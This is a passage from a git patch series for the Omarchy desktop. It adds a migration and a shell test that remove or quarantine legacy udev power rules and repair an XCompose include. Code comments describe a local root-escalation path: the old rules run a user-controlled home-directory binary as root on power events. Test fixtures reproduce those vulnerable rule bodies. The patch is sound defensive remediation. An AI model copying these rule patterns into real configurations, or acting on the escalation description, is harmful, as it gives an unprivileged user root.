monitor they are toggled on, not on whichever +-- output was focused when the rule was last written. Opening on 1080p after a +-- 6K fit has to resize the box. +local acer = { name = "HDMI-A-1", width = 1920, height = 1080, scale = 1, transform = 0, reserved = { top = 30, bottom = 0, left = 0, right = 0 } } monitor = dell handlers["monitor.layout_changed"]() handlers["workspace.special_active"]({ name = "special:scratchpad" }, acer) top, right, bottom, left = gaps() -assert(left == 435 and right == 435 and bottom == 525, "opening on 1080p after a 6K fit resizes the 2:1 box") +assert(left == 435 and right == 435 and bottom == 525, "opening on 1080p after a 6K fit resizes the box") assert(1920 - left - right > 0 and 1080 - 30 - bottom > 0, "1080p leftover is never negative") -- follow_mouse onto the 6K while the console is already showing on 1080p must --- not steal the global rule (that is what oversized the Dell after a hop). -workspace = { name = "special:scratchpad", visible = true, monitor = acer } +-- not steal the rule; that is what oversized the Dell after a hop. +workspace = { name = "special:scratchpad", visible = true, monitor = acer, windows = 1 } +monitor = dell written = #rules handlers["monitor.focused"](dell) assert(#rules == written, "focus on another output does not rewrite an open console") -workspace = nil --- Cache: same 1440p height, 16:9 vs 21:9. Sides change even when bottom does not. -monitor = { width = 2560, height = 1440, scale = 1, reserved = { top = 0, bottom = 0, left = 0, right = 0 } } -handlers["monitor.layout_changed"]() -written = #rules -monitor = { width = 3440, height = 1440, scale = 1, reserved = { top = 0, bottom = 0, left = 0, right = 0 } } -handlers["monitor.layout_changed"]() -assert(#rules == written + 1, "a same-height ultrawide hop still rewrites the sides") -top, right, bottom, left = gaps() -assert(left == 1000 and right == 1000 and bottom == 720, "3440x1440 at ratio 2 is a 2:1 box") - -omarchy_qconsole_ratio = 1 -monitor = { width = 1920, height = 1080, scale = 1, reserved = { top = 0, bottom = 0, left = 0, right = 0 } } -handlers["monitor.layout_changed"]() -top, right, bottom, left = gaps() -assert(left == 690 and right == 690 and bottom == 540, "ratio 1 is a square") - -omarchy_qconsole_ratio = 0.5 -handlers["monitor.layout_changed"]() -top, right, bottom, left = gaps() -assert(left == 690 and right == 690 and bottom == 540, "a ratio below 1 clamps to a square") - -omarchy_qconsole_ratio = nil +-- The output the console is showing on can go away mid-layout-change. Its +-- handle then answers nil to everything, and preferring it blindly would leave +-- the console stranded at the gaps of the monitor that is gone. The rule is +-- still the 1080p one here, so only refitting on the Dell can satisfy this. +workspace = { name = "special:scratchpad", visible = true, monitor = expired, windows = 1 } monitor = dell handlers["monitor.layout_changed"]() top, right, bottom, left = gaps() -assert(left == 0 and right == 0 and bottom == 1265, "clearing the ratio restores full width") +assert(left == 1807 and right == 1807 and bottom == 1265, + "a console whose output vanished refits on the monitor that is still there") + +-- Back onto the 1080p panel for the window-count checks below. +workspace = { name = "special:scratchpad", visible = true, monitor = acer, windows = 1 } +monitor = acer +handlers["monitor.layout_changed"]() +top, right, bottom, left = gaps() +assert(left == 435 and right == 435 and bottom == 525, "and refits again once it is back on a live output") + +-- One window reads as a console and keeps the panel. A second app has turned +-- the scratchpad into a workspace, and a workspace wants the whole width. +workspace = { name = "special:scratchpad", visible = true, monitor = acer, windows = 2 } +handlers["window.open"]() +top, right, bottom, left = gaps() +assert(left == 0 and right == 0, "a second app on the scratchpad restores the full width") +assert(bottom == 525, "and the console keeps its half-height drop") + +workspace.windows = 3 +written = #rules +handlers["window.open"]() +assert(#rules == written, "a third app changes nothing that is already full width") + +workspace.windows = 1 +handlers["window.destroy"]() +top, right, bottom, left = gaps() +assert(left == 435 and right == 435, "closing back down to one window recenters the panel") + +-- An empty scratchpad is about to be seeded with a single agent, so it is sized +-- as a console rather than as a workspace. +workspace.windows = 0 +handlers["window.destroy"]() +top, right, bottom, left = gaps() +assert(left == 435 and right == 435, "an empty console is still a console") + +-- A hidden console is refitted on its way back in, so the count does not have to +-- be chased while it is off screen; every window on the desktop would otherwise +-- rewrite the rule. +workspace = { name = "special:scratchpad", visible = false, monitor = acer, windows = 4 } +monitor = dell +written = #rules +handlers["window.open"]() +assert(#rules == written, "a window opening elsewhere does not rewrite a hidden console") + +-- A scratchpad nothing has opened yet has no workspace to read at all, and is +-- sized as the console the seed is about to put a single agent into. +workspace = nil +monitor = { width = 1920, height = 1080, scale = 1, transform = 0, reserved = { top = 0, bottom = 0, left = 0, right = 0 } } +handlers["monitor.layout_changed"]() +top, right, bottom, left = gaps() +assert(left == 420 and right == 420 and bottom == 540, "a scratchpad that does not exist yet is sized as a console") + +-- window.close and window.move_to_workspace both run while the workspace still +-- counts the window that is leaving, so a refit from either reads one too many +-- and strands the console at full width. window.open and window.destroy are the +-- two that run after the count has already moved, and are the only ones hooked. +assert(handlers["window.close"] == nil, "window.close counts the window on its way out") +assert(handlers["window.move_to_workspace"] == nil, "window.move_to_workspace does too") LUA -pass "the console is a half-height 2:1 panel by default" +pass "the console is a centered panel until a second app joins it" From 8add7b49de7d055e23302a694f28bc91535c14bb Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 11:22:43 -0400 Subject: [PATCH 159/336] Repair legacy XCompose and vulnerable power paths --- agents/skills/migrations.md | 12 +- migrations/1787946619.sh | 120 ------ migrations/1788102906.sh | 257 +++++++++++ .../legacy-power-udev-rules-migration-test.sh | 403 +++++++++++++++--- 4 files changed, 613 insertions(+), 179 deletions(-) delete mode 100644 migrations/1787946619.sh create mode 100644 migrations/1788102906.sh diff --git a/agents/skills/migrations.md b/agents/skills/migrations.md index 0ae0b7aa..b8152b43 100644 --- a/agents/skills/migrations.md +++ b/agents/skills/migrations.md @@ -167,14 +167,4 @@ Omarchy 4.0 is upgraded through `bin/omarchy-upgrade-to-quattro`, not through th normal migration runner. Do not add compatibility migrations for old installer layouts; put pre-4 package-layout transition work in the upgrade command instead. -Clearing a privileged file that a retired installer left on disk is the exception, -and belongs in a migration whether or not that installer was part of a package -layout transition. The upgrade command only runs on a machine still making the 3 -to 4 crossing, so anything put there never reaches an install that crossed -already, and it never runs at all for an installer that was retired on its own — -while the file the installer wrote is still sitting on those machines. The upgrade -command finishes by running `omarchy-migrate` (`run_post_upgrade_migrations`), so -one migration reaches every population; a copy in the upgrade command would only -be a second copy of the same predicate to keep correct. Such a migration must name -the defect it clears and match what the old installer actually produced, so a file -an administrator wrote themselves is left alone. +Clearing a privileged file that a retired installer left on disk is the exception, and belongs in a migration whether or not that installer was part of a package layout transition. The upgrade command only runs on a machine still making the 3 to 4 crossing, so anything put there never reaches an install that crossed already, and it never runs at all for an installer that was retired on its own — while the file the installer wrote is still sitting on those machines. The upgrade command finishes by running `omarchy-migrate` (`run_post_upgrade_migrations`), so one migration reaches every population; a copy in the upgrade command would only be a second copy of the same predicate to keep correct. Such a migration must name the defect it clears and match what the old installer actually produced before deleting it. Leave safe administrator-authored files alone; if one still contains the vulnerable privileged action, preserve it under an inactive name rather than discarding custom content or leaving the action executable. A user config that depends on the same retired compatibility path may be repaired in that migration when doing so eliminates an overlapping migration, but only by matching and replacing the exact legacy path while preserving the rest of the file. diff --git a/migrations/1787946619.sh b/migrations/1787946619.sh deleted file mode 100644 index 4c5e0187..00000000 --- a/migrations/1787946619.sh +++ /dev/null @@ -1,120 +0,0 @@ -echo "Remove Omarchy 3 power udev rules that run a command out of a user home" - -rules_dir="${OMARCHY_UDEV_RULES_DIR:-/etc/udev/rules.d}" -reload_needed_marker="${OMARCHY_UDEV_RELOAD_NEEDED_MARKER:-/var/lib/omarchy/migrations/1787946619-udev-reload-needed}" -udev_control="${OMARCHY_UDEV_CONTROL:-/run/udev/control}" - -as_root() { - if (( EUID == 0 )); then - "$@" - else - sudo "$@" - fi -} - -# Omarchy 3 generated these two rules with an unquoted heredoc, so the installing -# user's $HOME was expanded and the file on disk names that absolute home path. -# udev runs RUN+= as root, and -# ~/.local/share/omarchy is a symlink that same unprivileged user owns: replacing -# it with a tree of their own and provoking a power_supply event runs their code -# as root. Quattro ships the rules as 99-omarchy-*.rules under /usr/bin, but the -# one-shot migration that swept the old filenames was itself dropped, so an -# install that came up through the 3.x line keeps the old file until this -# migration removes it. -# -# Pre-4 layout work normally belongs in the Omarchy 4 upgrade command, but that -# command only runs on a machine still making the crossing, so an install that -# crossed already would never see it. The upgrade command ends by running -# omarchy-migrate, so this covers the installs still to upgrade as well. -# -# Only remove a file that is actually one of those. A comment is inert to udev, -# so the match keys on an active RUN+= whose command really is the legacy path -# under a home directory for that filename's binary. A rule of the same name that -# a user wrote themselves survives, including one that merely mentions the legacy -# path in a comment, and so does a legacy file already repointed at /usr/bin. -rule_runs_from_home() { - local file="$1" binary="$2" - local pattern="^/.+/\\.local/share/omarchy/bin/$binary\$" - local line logical="" rest command word - local -a words - - while IFS= read -r line || [[ -n $line ]]; do - # udev tests for a comment before it joins continuations, and skipping one - # does not end a continuation already under way. Both halves verified with - # `udevadm verify`: "# disabled \" followed by a bogus key reports the error - # on line 2, so a comment's own trailing backslash swallows nothing, while - # 'SUBSYSTEM=="power_supply" \' + "# c" + ', RUN+="..."' reports its style - # warning on line 1, so the rule spans the comment. Testing the comment after - # the join would hide a live rule; clearing the pending line here would hide - # one just as well. - if [[ $line =~ ^[[:space:]]*# ]]; then - continue - fi - - # A trailing backslash continues the rule on the next line. - if [[ $line == *\\ ]]; then - logical+=${line%\\} - continue - fi - - rest=$logical$line - logical="" - - while [[ $rest == *'RUN+="'* ]]; do - rest=${rest#*'RUN+="'} - command=${rest%%'"'*} - rest=${rest#*'"'} - - # The legacy rules put the binary first (wifi power save) or last, after a - # systemd-run invocation (power profile), and some variants passed it an - # argument. Compare whole words so no substring stands in for the path. - read -ra words <<<"$command" - for word in "${words[@]}"; do - if [[ $word =~ $pattern ]]; then - return 0 - fi - done - done - done <"$file" - - return 1 -} - -finish_pending_reload() { - # With no control socket there is no running udevd holding the deleted rule; - # the next daemon start reads the directory from disk. If a daemon is running, - # a failed reload must keep this migration pending so the in-memory root rule - # cannot outlive the per-user completion marker. - if [[ -e $udev_control ]] && ! as_root udevadm control --reload 2>/dev/null; then - echo "Could not reload udev after removing a vulnerable legacy rule. Ask an administrator to run omarchy-migrate." >&2 - exit 1 - fi - - if ! as_root rm -f "$reload_needed_marker"; then - echo "Could not finish the legacy udev-rule repair. Ask an administrator to run omarchy-migrate." >&2 - exit 1 - fi -} - -# Deleting the file and reloading the daemon are one repair. A prior run may -# have removed the file and then failed before udevd accepted the new ruleset. -if [[ -e $reload_needed_marker ]]; then - finish_pending_reload -fi - -for legacy_rule in "99-power-profile.rules:omarchy-powerprofiles-set" "99-wifi-powersave.rules:omarchy-wifi-powersave"; do - rule_file="$rules_dir/${legacy_rule%%:*}" - - if [[ -f $rule_file ]] && rule_runs_from_home "$rule_file" "${legacy_rule##*:}"; then - if ! as_root install -Dm644 /dev/null "$reload_needed_marker"; then - echo "Administrator privileges are required to remove the vulnerable legacy udev rule. Ask an administrator to run omarchy-migrate." >&2 - exit 1 - fi - if ! as_root rm -f "$rule_file"; then - echo "Administrator privileges are required to remove the vulnerable legacy udev rule. Ask an administrator to run omarchy-migrate." >&2 - exit 1 - fi - - finish_pending_reload - fi -done diff --git a/migrations/1788102906.sh b/migrations/1788102906.sh new file mode 100644 index 00000000..f81c4303 --- /dev/null +++ b/migrations/1788102906.sh @@ -0,0 +1,257 @@ +echo "Repair legacy XCompose and remove vulnerable Omarchy 3 power udev rules" + +xcompose="$HOME/.XCompose" +packaged_xcompose="$OMARCHY_PATH/default/xcompose" +legacy_xcompose_pattern='^[[:space:]]*include[[:space:]]+"[^"]*/\.local/share/omarchy/default/xcompose"[[:space:]]*$' + +# Omarchy 3 pointed the user's compose file through the checkout compatibility +# link. Preserve their own sequences while moving that include to the packaged +# tree. A failed live restart is harmless: the next graphical login reads the +# repaired file. +if [[ -f $xcompose ]] && grep -Eq "$legacy_xcompose_pattern" "$xcompose"; then + xcompose_replacement=${packaged_xcompose//\\/\\\\} + xcompose_replacement=${xcompose_replacement//&/\\&} + xcompose_replacement=${xcompose_replacement//|/\\|} + sed -i -E "s|^([[:space:]]*include[[:space:]]+\")[^\"]*/\\.local/share/omarchy/default/xcompose\"[[:space:]]*$|\\1$xcompose_replacement\"|" "$xcompose" + omarchy-restart-xcompose >/dev/null 2>&1 || true +fi + +rules_dir=/etc/udev/rules.d +reload_marker_prefix=/var/lib/omarchy/migrations/1788102906-udev-reload-needed +udev_control=/run/udev/control +install_command=/usr/bin/install +mv_command=/usr/bin/mv +rm_command=/usr/bin/rm +udevadm_command=/usr/bin/udevadm + +as_root() { + if (( EUID == 0 )); then + "$@" + else + sudo "$@" + fi +} + +# Omarchy 3 generated these two rules with an unquoted heredoc, so the installing +# user's $HOME was expanded and the file on disk names that absolute home path. +# udev runs RUN+= as root, and +# ~/.local/share/omarchy is a symlink that same unprivileged user owns: replacing +# it with a tree of their own and provoking a power_supply event runs their code +# as root. Quattro ships the rules as 99-omarchy-*.rules under /usr/bin, but the +# one-shot migration that swept the old filenames was itself dropped, so an +# install that came up through the 3.x line keeps the old file until this +# migration removes it. +# +# Pre-4 layout work normally belongs in the Omarchy 4 upgrade command, but that +# command only runs on a machine still making the crossing, so an install that +# crossed already would never see it. The upgrade command ends by running +# omarchy-migrate, so this covers the installs still to upgrade as well. +# +# Only remove an exact two-line body that one of the retired installers wrote. +# A same-named file with no active vulnerable RUN survives; one that still has +# the vulnerable command but also contains administrator changes is quarantined +# under a non-.rules suffix for review. +rule_runs_from_home() { + local file="$1" binary="$2" + local run_pattern='RUN([[:space:]]*\{[^}]*\})?[[:space:]]*(\+|:)?=[[:space:]]*(e)?"([^"]*)"' + local line logical="" rest command + + while IFS= read -r line || [[ -n $line ]]; do + # udev tests for a comment before it joins continuations, and skipping one + # does not end a continuation already under way. Both halves verified with + # `udevadm verify`: "# disabled \" followed by a bogus key reports the error + # on line 2, so a comment's own trailing backslash swallows nothing, while + # 'SUBSYSTEM=="power_supply" \' + "# c" + ', RUN+="..."' reports its style + # warning on line 1, so the rule spans the comment. Testing the comment after + # the join would hide a live rule; clearing the pending line here would hide + # one just as well. + if [[ $line =~ ^[[:space:]]*# ]]; then + continue + fi + + # A trailing backslash continues the rule on the next line. + if [[ $line == *\\ ]]; then + logical+=${line%\\} + continue + fi + + rest=$logical$line + logical="" + + while [[ $rest =~ $run_pattern ]]; do + command=${BASH_REMATCH[4]} + rest=${rest#*"${BASH_REMATCH[0]}"} + + # This is only the fail-closed detector; wholesale deletion still requires + # an exact historical body below. Match spacing edits and wrapper arguments + # conservatively so a modified active rule is never mistaken for a safe one. + if [[ $command == *"/.local/share/omarchy/bin/$binary"* ]]; then + return 0 + fi + done + done <"$file" + + return 1 +} + +mark_reload_needed() { + if ! as_root "$install_command" -Dm644 /dev/null "$reload_needed_marker"; then + echo "Administrator privileges are required to repair the vulnerable legacy udev rule. Ask an administrator to run omarchy-migrate." >&2 + exit 1 + fi +} + +# The retired installers overwrote each file with one of five known two-line +# bodies. Only those exact bodies are safe to delete wholesale. If a vulnerable +# rule has since been edited or extended, preserve it under an inactive name +# rather than taking unrelated rules with it. +rule_is_exact_generated() { + local file="$1" binary="$2" + local prefix suffix home expected + local -a lines + + mapfile -t lines <"$file" + (( ${#lines[@]} == 2 )) || return 1 + + case "$binary" in + omarchy-powerprofiles-set) + # Initial userland helper: separate AC/battery units and arguments. + prefix='SUBSYSTEM=="power_supply", ATTR{type}=="Mains", ATTR{online}=="0", RUN+="/usr/bin/systemd-run --no-block --collect --unit=omarchy-power-profile-battery --property=After=power-profiles-daemon.service ' + suffix='/.local/share/omarchy/bin/omarchy-powerprofiles-set battery"' + if [[ ${lines[0]} == "$prefix"*"$suffix" ]]; then + home=${lines[0]#"$prefix"} + home=${home%"$suffix"} + expected='SUBSYSTEM=="power_supply", ATTR{type}=="Mains", ATTR{online}=="1", RUN+="/usr/bin/systemd-run --no-block --collect --unit=omarchy-power-profile-ac --property=After=power-profiles-daemon.service '"$home"'/.local/share/omarchy/bin/omarchy-powerprofiles-set ac"' + [[ $home == /* && $home != *'"'* && ${lines[1]} == "$expected" ]] && return 0 + fi + + # USB-C support: one fixed transient-unit name and no profile argument. + prefix='SUBSYSTEM=="power_supply", ATTR{type}=="Mains", RUN+="/usr/bin/systemd-run --no-block --collect --unit=omarchy-power-profile --property=After=power-profiles-daemon.service ' + suffix='/.local/share/omarchy/bin/omarchy-powerprofiles-set"' + if [[ ${lines[0]} == "$prefix"*"$suffix" ]]; then + home=${lines[0]#"$prefix"} + home=${home%"$suffix"} + expected='SUBSYSTEM=="power_supply", ATTR{type}=="USB", RUN+="/usr/bin/systemd-run --no-block --collect --unit=omarchy-power-profile --property=After=power-profiles-daemon.service '"$home"'/.local/share/omarchy/bin/omarchy-powerprofiles-set"' + [[ $home == /* && $home != *'"'* && ${lines[1]} == "$expected" ]] && return 0 + fi + + # The final Omarchy 3 revision dropped the fixed transient-unit name. + prefix='SUBSYSTEM=="power_supply", ATTR{type}=="Mains", RUN+="/usr/bin/systemd-run --no-block --collect --property=After=power-profiles-daemon.service ' + suffix='/.local/share/omarchy/bin/omarchy-powerprofiles-set"' + if [[ ${lines[0]} == "$prefix"*"$suffix" ]]; then + home=${lines[0]#"$prefix"} + home=${home%"$suffix"} + expected='SUBSYSTEM=="power_supply", ATTR{type}=="USB", RUN+="/usr/bin/systemd-run --no-block --collect --property=After=power-profiles-daemon.service '"$home"'/.local/share/omarchy/bin/omarchy-powerprofiles-set"' + [[ $home == /* && $home != *'"'* && ${lines[1]} == "$expected" ]] && return 0 + fi + ;; + omarchy-wifi-powersave) + # Initial Wi-Fi helper: invoke the userland command directly. + prefix='SUBSYSTEM=="power_supply", ATTR{type}=="Mains", ATTR{online}=="0", RUN+="' + suffix='/.local/share/omarchy/bin/omarchy-wifi-powersave on"' + if [[ ${lines[0]} == "$prefix"*"$suffix" ]]; then + home=${lines[0]#"$prefix"} + home=${home%"$suffix"} + expected='SUBSYSTEM=="power_supply", ATTR{type}=="Mains", ATTR{online}=="1", RUN+="'"$home"'/.local/share/omarchy/bin/omarchy-wifi-powersave off"' + [[ $home == /* && $home != *'"'* && ${lines[1]} == "$expected" ]] && return 0 + fi + + # Later revision deferred each change through its own transient unit. + prefix='SUBSYSTEM=="power_supply", ATTR{type}=="Mains", ATTR{online}=="0", RUN+="/usr/bin/systemd-run --no-block --collect --unit=omarchy-wifi-powersave-on ' + suffix='/.local/share/omarchy/bin/omarchy-wifi-powersave on"' + if [[ ${lines[0]} == "$prefix"*"$suffix" ]]; then + home=${lines[0]#"$prefix"} + home=${home%"$suffix"} + expected='SUBSYSTEM=="power_supply", ATTR{type}=="Mains", ATTR{online}=="1", RUN+="/usr/bin/systemd-run --no-block --collect --unit=omarchy-wifi-powersave-off '"$home"'/.local/share/omarchy/bin/omarchy-wifi-powersave off"' + [[ $home == /* && $home != *'"'* && ${lines[1]} == "$expected" ]] && return 0 + fi + ;; + esac + + return 1 +} + +finish_pending_reload() { + # With no control socket there is no running udevd holding the deleted rule; + # the next daemon start reads the directory from disk. If a daemon is running, + # a failed reload must keep this migration pending so the in-memory root rule + # cannot outlive the per-user completion marker. + if [[ -e $udev_control ]] && ! as_root "$udevadm_command" control --reload 2>/dev/null; then + echo "Could not reload udev after removing a vulnerable legacy rule. Ask an administrator to run omarchy-migrate." >&2 + exit 1 + fi + + if ! as_root "$rm_command" -f "$reload_needed_marker"; then + echo "Could not finish the legacy udev-rule repair. Ask an administrator to run omarchy-migrate." >&2 + exit 1 + fi +} + +quarantine_rule() { + local rule_file="$1" + local backup="$rule_file.omarchy-disabled" + local suffix=0 + + # udev only loads files ending in .rules. Preserve an administrator-modified + # file byte-for-byte under a suffix udev ignores instead of either deleting + # their additions or leaving its user-controlled command active as root. + while [[ -e $backup || -L $backup ]]; do + ((++suffix)) + backup="$rule_file.omarchy-disabled.$suffix" + done + + mark_reload_needed + if ! as_root "$mv_command" --no-clobber -- "$rule_file" "$backup"; then + echo "Administrator privileges are required to quarantine the vulnerable legacy udev rule. Ask an administrator to run omarchy-migrate." >&2 + exit 1 + fi + if [[ -e $rule_file || -L $rule_file ]]; then + echo "Could not quarantine the vulnerable legacy udev rule at $rule_file. Ask an administrator to run omarchy-migrate." >&2 + exit 1 + fi + + finish_pending_reload + echo "Quarantined the modified legacy rule as $backup so udev cannot execute it. Review the preserved file before restoring any safe custom actions." >&2 +} + +if [[ -d $rules_dir && ! -x $rules_dir ]]; then + echo "Could not inspect legacy udev rules under $rules_dir. Ask an administrator to run omarchy-migrate." >&2 + exit 1 +fi + +for legacy_rule in "99-power-profile.rules:omarchy-powerprofiles-set" "99-wifi-powersave.rules:omarchy-wifi-powersave"; do + rule_name="${legacy_rule%%:*}" + rule_file="$rules_dir/$rule_name" + binary="${legacy_rule##*:}" + reload_needed_marker="$reload_marker_prefix-$rule_name" + + # The marker is written before removal so a crash cannot lose the need to + # reload. Only consume it early when the corresponding active file is already + # gone; another user's concurrent run may still be between those two steps. + if [[ -e $reload_needed_marker && ! -e $rule_file && ! -L $rule_file ]]; then + finish_pending_reload + fi + + if [[ -f $rule_file && ! -r $rule_file ]]; then + echo "Could not inspect the legacy udev rule at $rule_file. Ask an administrator to run omarchy-migrate." >&2 + exit 1 + fi + + if [[ -f $rule_file ]] && rule_is_exact_generated "$rule_file" "$binary"; then + mark_reload_needed + if ! as_root "$rm_command" -f "$rule_file"; then + echo "Administrator privileges are required to remove the vulnerable legacy udev rule. Ask an administrator to run omarchy-migrate." >&2 + exit 1 + fi + + finish_pending_reload + elif [[ -f $rule_file ]] && rule_runs_from_home "$rule_file" "$binary"; then + quarantine_rule "$rule_file" + fi + + # If an interrupted removal was followed by an administrator installing a + # safe replacement, reload that replacement before clearing the old marker. + if [[ -e $reload_needed_marker ]]; then + finish_pending_reload + fi +done diff --git a/test/shell.d/legacy-power-udev-rules-migration-test.sh b/test/shell.d/legacy-power-udev-rules-migration-test.sh index ea11cefd..77ceb330 100755 --- a/test/shell.d/legacy-power-udev-rules-migration-test.sh +++ b/test/shell.d/legacy-power-udev-rules-migration-test.sh @@ -4,8 +4,13 @@ set -euo pipefail source "$(dirname "$0")/base-test.sh" -migration="$ROOT/migrations/1787946619.sh" -[[ -f $migration ]] || fail "the legacy power udev rule migration exists at $migration" +shipped_migration="$ROOT/migrations/1788102906.sh" +[[ -f $shipped_migration ]] || fail "the legacy power udev rule migration exists at $shipped_migration" + +mapfile -t legacy_rule_migrations < <(grep -RIlE '99-(power-profile|wifi-powersave)' "$ROOT/migrations") +(( ${#legacy_rule_migrations[@]} == 1 )) && [[ ${legacy_rule_migrations[0]} == "$shipped_migration" ]] || + fail "one migration exclusively owns both legacy udev rule filenames" "${legacy_rule_migrations[*]}" +pass "one migration exclusively owns both legacy udev rule filenames" test_dir=$(mktemp -d) trap 'rm -rf "$test_dir"' EXIT @@ -18,6 +23,10 @@ cat >"$test_dir/bin/sudo" <<'STUB' #!/bin/bash printf 'sudo %s\n' "$*" >>"$CALLS" +if [[ ${1:-} == "/usr/bin/udevadm" ]]; then + shift + exec "$UDEVADM_STUB" "$@" +fi exec "$@" STUB @@ -31,6 +40,33 @@ if [[ -n ${FAIL_UDEV_RELOAD_ONCE_MARKER:-} && ! -e $FAIL_UDEV_RELOAD_ONCE_MARKER fi STUB +cat >"$test_dir/bin/install" <<'STUB' +#!/bin/bash + +echo "migration resolved install through PATH" >&2 +exit 97 +STUB + +cat >"$test_dir/bin/rm" <<'STUB' +#!/bin/bash + +echo "migration resolved rm through PATH" >&2 +exit 98 +STUB + +cat >"$test_dir/bin/mv" <<'STUB' +#!/bin/bash + +echo "migration resolved mv through PATH" >&2 +exit 99 +STUB + +cat >"$test_dir/bin/omarchy-restart-xcompose" <<'STUB' +#!/bin/bash + +echo "omarchy-restart-xcompose" >>"$CALLS" +STUB + chmod +x "$test_dir/bin/"* mkdir -p "$test_dir/failing-bin" @@ -43,17 +79,45 @@ STUB chmod +x "$test_dir/failing-bin/sudo" export CALLS="$test_dir/calls" +export UDEVADM_STUB="$test_dir/bin/udevadm" rules_dir="$test_dir/rules.d" home_dir="$test_dir/home" +omarchy_path="$test_dir/omarchy" +xcompose="$home_dir/.XCompose" +packaged_xcompose="include \"$omarchy_path/default/xcompose\"" power_rule="$rules_dir/99-power-profile.rules" wifi_rule="$rules_dir/99-wifi-powersave.rules" -reload_needed_marker="$test_dir/reload-needed" +reload_marker_prefix="$test_dir/reload-needed" +power_reload_marker="$reload_marker_prefix-99-power-profile.rules" +wifi_reload_marker="$reload_marker_prefix-99-wifi-powersave.rules" udev_control="$test_dir/udev-control" +migration="$test_dir/migration.sh" + +# These paths become operands to privileged commands. Keep them fixed in the +# shipped migration and retarget a scratch copy for the unprivileged test; an +# environment override would let the caller choose what root removes. +grep -Fxq 'rules_dir=/etc/udev/rules.d' "$shipped_migration" || + fail "the production udev rules directory is a fixed literal" +grep -Fxq 'reload_marker_prefix=/var/lib/omarchy/migrations/1788102906-udev-reload-needed' "$shipped_migration" || + fail "the production reload marker is a fixed literal" +grep -Fxq 'udev_control=/run/udev/control' "$shipped_migration" || + fail "the production udev control path is a fixed literal" +if grep -q 'OMARCHY_UDEV_' "$shipped_migration"; then + fail "the migration does not accept caller-controlled privileged paths" +fi + +sed \ + -e "s|^rules_dir=/etc/udev/rules.d$|rules_dir=$rules_dir|" \ + -e "s|^reload_marker_prefix=/var/lib/omarchy/migrations/1788102906-udev-reload-needed$|reload_marker_prefix=$reload_marker_prefix|" \ + -e "s|^udev_control=/run/udev/control$|udev_control=$udev_control|" \ + "$shipped_migration" >"$migration" +pass "migration keeps privileged production paths caller-independent" reset_machine() { - rm -rf "$rules_dir" "$home_dir" "$reload_needed_marker" "$udev_control" - mkdir -p "$rules_dir" "$home_dir" + rm -rf "$rules_dir" "$home_dir" "$omarchy_path" "$power_reload_marker" "$wifi_reload_marker" "$udev_control" + mkdir -p "$rules_dir" "$home_dir" "$omarchy_path/default" + touch "$omarchy_path/default/xcompose" touch "$udev_control" } @@ -61,9 +125,7 @@ run_migration() { : >"$CALLS" HOME="$home_dir" \ - OMARCHY_UDEV_RULES_DIR="$rules_dir" \ - OMARCHY_UDEV_RELOAD_NEEDED_MARKER="$reload_needed_marker" \ - OMARCHY_UDEV_CONTROL="$udev_control" \ + OMARCHY_PATH="$omarchy_path" \ PATH="$test_dir/bin:$PATH" \ bash -euo pipefail "$migration" >/dev/null } @@ -72,6 +134,51 @@ reload_count() { grep -cx 'udevadm control --reload' "$CALLS" || true } +write_xcompose() { + local include="$1" + + cat >"$xcompose" < : "Test User" + : "test@example.com" +EOF +} + +# #8175's non-udev behavior belongs here so one migration owns the whole legacy +# compatibility-link repair. Omarchy 3 emitted %H, while users may have changed +# it to ~ or its expanded value. +for legacy_include in \ + 'include "%H/.local/share/omarchy/default/xcompose"' \ + 'include "~/.local/share/omarchy/default/xcompose"' \ + "include \"$home_dir/.local/share/omarchy/default/xcompose\""; do + reset_machine + write_xcompose "$legacy_include" + run_migration + + grep -qxF "$packaged_xcompose" "$xcompose" || + fail "migration repoints $legacy_include at the active Omarchy tree" "$(cat "$xcompose")" + grep -qF ' : "test@example.com"' "$xcompose" || + fail "migration discards the user's own compose sequences" + grep -qxF 'omarchy-restart-xcompose' "$CALLS" || + fail "migration does not reload XCompose after rewriting its include" "$(cat "$CALLS")" +done +pass "migration repoints every legacy XCompose include and preserves custom sequences" + +before=$(sha256sum "$xcompose") +run_migration +[[ $(sha256sum "$xcompose") == "$before" ]] || fail "migration changes an already repaired XCompose file" +[[ ! -s $CALLS ]] || fail "migration restarts XCompose when nothing changed" "$(cat "$CALLS")" +pass "migration is idempotent on an already repaired XCompose file" + +reset_machine +run_migration +[[ ! -e $xcompose ]] || fail "migration creates a missing XCompose file" +[[ ! -s $CALLS ]] || fail "migration acts when XCompose and legacy udev rules are absent" "$(cat "$CALLS")" +pass "migration leaves a home without XCompose alone" + # What Omarchy 3's unquoted heredoc actually left on disk: the installing user's # home expanded into a rule root runs on every power_supply event. write_vulnerable_power_rule() { @@ -81,6 +188,20 @@ SUBSYSTEM=="power_supply", ATTR{type}=="USB", RUN+="/usr/bin/systemd-run --no-bl RULE } +write_initial_vulnerable_power_rule() { + cat >"$power_rule" <<'RULE' +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", ATTR{online}=="0", RUN+="/usr/bin/systemd-run --no-block --collect --unit=omarchy-power-profile-battery --property=After=power-profiles-daemon.service /home/someuser/.local/share/omarchy/bin/omarchy-powerprofiles-set battery" +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", ATTR{online}=="1", RUN+="/usr/bin/systemd-run --no-block --collect --unit=omarchy-power-profile-ac --property=After=power-profiles-daemon.service /home/someuser/.local/share/omarchy/bin/omarchy-powerprofiles-set ac" +RULE +} + +write_final_vulnerable_power_rule() { + cat >"$power_rule" <<'RULE' +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", RUN+="/usr/bin/systemd-run --no-block --collect --property=After=power-profiles-daemon.service /home/someuser/.local/share/omarchy/bin/omarchy-powerprofiles-set" +SUBSYSTEM=="power_supply", ATTR{type}=="USB", RUN+="/usr/bin/systemd-run --no-block --collect --property=After=power-profiles-daemon.service /home/someuser/.local/share/omarchy/bin/omarchy-powerprofiles-set" +RULE +} + write_vulnerable_wifi_rule() { cat >"$wifi_rule" <<'RULE' SUBSYSTEM=="power_supply", ATTR{type}=="Mains", ATTR{online}=="0", RUN+="/home/someuser/.local/share/omarchy/bin/omarchy-wifi-powersave on" @@ -88,6 +209,13 @@ SUBSYSTEM=="power_supply", ATTR{type}=="Mains", ATTR{online}=="1", RUN+="/home/s RULE } +write_systemd_vulnerable_wifi_rule() { + cat >"$wifi_rule" <<'RULE' +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", ATTR{online}=="0", RUN+="/usr/bin/systemd-run --no-block --collect 